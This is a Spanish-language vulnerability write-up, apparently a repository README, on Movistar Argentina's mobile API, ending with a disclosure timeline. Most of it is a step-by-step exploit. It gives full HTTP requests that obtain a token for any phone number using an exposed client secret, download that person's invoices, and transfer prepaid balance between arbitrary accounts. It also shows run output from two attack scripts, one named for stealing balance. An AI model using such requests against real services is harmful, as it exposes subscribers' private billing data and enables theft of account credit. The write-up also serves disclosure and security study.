Vulnerabilidad que permite descargar las facturas de cualquier numero de telefono de movistar. Fue encontrada utilizando mitmproxy en la aplicacion móvil para Android de Movistar.
A continuación se detallan los pasos necesarios:
Se debe enviar un request a: https://mi.movistar.com.ar
cambiando el campo username
por el numero de telefono deseado.
POST /oauth/token HTTP/1.1
Host: mi.movistar.com.ar
x-requested-with: com.services.movistar.ar
content-type: application/x-www-form-urlencoded
content-length: 91
grant_type=mobile&username=1112345678&client_id=appcontainer&client_secret=YXBwY29udGFpbmVy
Se recibirá como respuesta un documento JSON con el access_token
que nos permitirá pedir las facturas del usuario. (Por motivos de seguridad y legibilidad el token fue truncado en el ejemplo)
{
"access_token": "eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzE4NDcyODUsInVzZXJfbmFtZSI6Inp0MzFxWWRtQWdTNEN3PT0iLCJzY29wZSI...",
"token_type": "bearer",
"expires_in": ...,
"scope": "read trust write",
"jti": "..."
}
Cada período disponible se corresponde con una factura que podremos descargar. Se debe enviar un request a https://mi.movistar.com.ar
utilizando el access_token
que obtuvimos en el primer paso, colocandolo en el header authorization
. (Por motivos de seguridad y legibilidad el token fue truncado en el ejemplo)
GET /v1/facturacion/periodos HTTP/1.1
Host: mi.movistar.com.ar
authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzE4NDk2NDQsInVzZXJfbmFtZSI6InJ3T3FjSGl6U05...
content-type: application/x-www-form-urlencoded
Se recibirá como respuesta un documento JSON que contiene los períodos disponibles.
{
"status": 200,
"date": "2016-08-21 ...",
"data": [
{
...
"date": "2016-02-04",
...
},
{
...
"date": "2016-03-04",
...
},
...
]
}
De este documento, solo nos importan los campos date
de cada período, ya que nos ayudarán a construir una URL para descargar la factura.
Armado ya con el token y los períodos disponibles, podemos proceder a descargarlos. Para ello, se debe enviar un request a la URL:
https://mi.movistar.com.ar/v1/facturacion/(resumen|comprobante)/<periodo>/pdf/
Por ejemplo, para descargar el comprobante usado en los pasos anteriores:
GET /v1/facturacion/comprobante/2016-03-04/pdf/ HTTP/1.1
Host: mi.movistar.com.ar
authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzE4NDk2NDQsInVzZXJfbmFtZSI6InJ3T3FjSGl6U05...
content-type: application/x-www-form-urlencoded
Obtenemos como headers de la respuesta:
Server: Apache-Coyote/1.1
Content-Type: application/pdf
...
Y en el cuerpo, encontraremos un documento PDF del comprobante del período solicitado.
En el archivo bajar_facturas.py se programo una aplicacion que automatiza lo explicado anteriormente, y descarga todas las facturas disponibles para un numero de telefono dado. Para poder ejecutarlo, se deben instalar las dependencias de Python 3 necesarias:
$ pip install -r requirements.txt
Luego, podemos proceder a ejecutar el programa:
$ ./bajar_facturas.py
Ingrese el numero de telefono: 1112345678
Token: eyJhbGciOiJIUzI1NiJ9.eyJl...
Encontradas facturas para fechas :['2016-02-04', '2016-03-04', ...]
Requesting: https://mi.movistar.com.ar/v1/facturacion/resumen/2016-02-04/paginas
Requesting: https://mi.movistar.com.ar/v1/facturacion/comprobante/2016-02-04/paginas
Creating folder: .../Movistar_Exploit/1112345678/2016-02-04
Requesting: https://mi.movistar.com.ar/v1/facturacion/comprobante/2016-05-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-05-04/comprobante.pdf
Requesting: https://mi.movistar.com.ar/v1/facturacion/resumen/2016-05-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-05-04/resumen.pdf
Creating folder: .../Movistar_Exploit/1112345678/2016-06-04
Requesting: https://mi.movistar.com.ar/v1/facturacion/comprobante/2016-06-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-06-04/comprobante.pdf
Requesting: https://mi.movistar.com.ar/v1/facturacion/resumen/2016-06-04/pdf/
Error al descargar la factura del periodo: 2016-06-04
Creating folder: .../Movistar_Exploit/1112345678/2016-07-04
Requesting: https://mi.movistar.com.ar/v1/facturacion/comprobante/2016-07-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-07-04/comprobante.pdf
Requesting: https://mi.movistar.com.ar/v1/facturacion/resumen/2016-07-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-07-04/resumen.pdf
Creating folder: .../Movistar_Exploit/1112345678/2016-08-04
Requesting: https://mi.movistar.com.ar/v1/facturacion/comprobante/2016-08-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-08-04/comprobante.pdf
Requesting: https://mi.movistar.com.ar/v1/facturacion/resumen/2016-08-04/pdf/
Agregado en la última actualización de movistar, se encuentra la funcionalidad para hacer transferencias de saldo entre cuentas. Utilizando el siguiente endpoint de la API, es posible transferir saldo entre dos cuentas arbitrarias, siempre y cuando se cumplan ciertos requerimientos sobre los planes de ambas.
POST /recarga/cargamesaldo HTTP/1.1
Host: mi.movistar.com.ar
authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzE4NDk2NDQsInVzZXJfbmFtZSI6InJ3T3FjSGl6U05...
content-type: application/json
{
'amount': saldo,
'destination': destino
}
En caso de resultar exitosa la transferencia, se recibirá como respuesta el siguiente mensaje:
{'date': '2016-11-07 ...', 'data': {'responseCode': '000', 'responseMessage': 'OK'}, 'status': 200}
En el archivo robar_saldo.py se encuentra un programa de ejemplo que explota ésta vulnerabilidad, y permite hacer transferencia entre dos cuentas cualquiera.
$ ./robar_saldo.py
Ingrese el numero de telefono victima: 1141234567
Ingrese el numero de telefono destino: 1141234567
Ingrese el saldo a robar: 1
Token: eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzkxNz...
Posting request to: https://mi.movistar.com.ar/v1/recarga/cargamesaldo
Response: {'data': {'responseMessage': 'OK', 'responseCode': '000'}, 'date': '2016-11-13 ...', 'status': 200}
- 21/08/2016: Primer contacto con Movistar Argentina via Twitter (@movistararg)
- 21/08/2016: Atención al cliente de Movistar informa que va a derivar el informe al area correspondiente.
- 22/08/2016: Contacto via [email protected]. Informe de vulnerabilidad enviado.
- 29/08/2016: Pedido por parte mia de una confirmación de recepción de informe, y derivación al área correspondiente.
- 31/08/2016: Movistar confirma que el informe fue recibido y que el área de IT se encuentra trabajando en una nueva versión.
- 14/10/2016: Luego de consultar por el estado del reporte, Movistar confirma que la vulnerabilidad ya fue resuelta. Se procede a publicar éste repositorio.
- 16/10/2016: Movistar reconoce la vulnerabilidad, agradece el reporte, e informa que se está trabajando en resolverla.